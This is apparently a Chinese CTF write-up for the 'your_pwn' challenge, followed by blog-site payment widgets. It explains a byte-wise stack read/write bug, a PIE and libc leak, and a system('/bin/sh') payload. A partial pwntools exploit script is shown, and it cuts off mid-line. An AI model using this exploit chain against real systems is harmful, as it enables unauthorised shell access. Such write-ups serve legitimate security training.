your_pwn

your_pwn

在这里插入图片描述
溢出点在图的循环中,通过输入v1,可以任意打印栈上的内容,通过输入v2,可以实现向栈上写,每次只能写一个字节,即8bit。

通过漏洞打印出ret地址,得到代码段的基址,然后通过puts打印出puts_got,泄露出libc的地址,然后构造system("/bin/sh")的payload,然后getshell

from pwn import *

context.log_level = 'debug'
pop_rdi_ret = 0xd03
r = process("./yourpwn")
#r = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com","57856")
gdb.attach(r)
r.recvuntil("name:")
r.sendline(“xxxxx")

def get(p):#找到pie地址(因为pie保护的缘故,每一次的基址都不同,泄漏出某个函数的返回地址减去到基址的偏移,算出来的就是pie基址。
    i = 0
    ll = 0
    while(1):
        r.recvuntil("index\n")
        r.sendline(str(i + p))
        data = r.recvuntil("value\n")[:-1
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值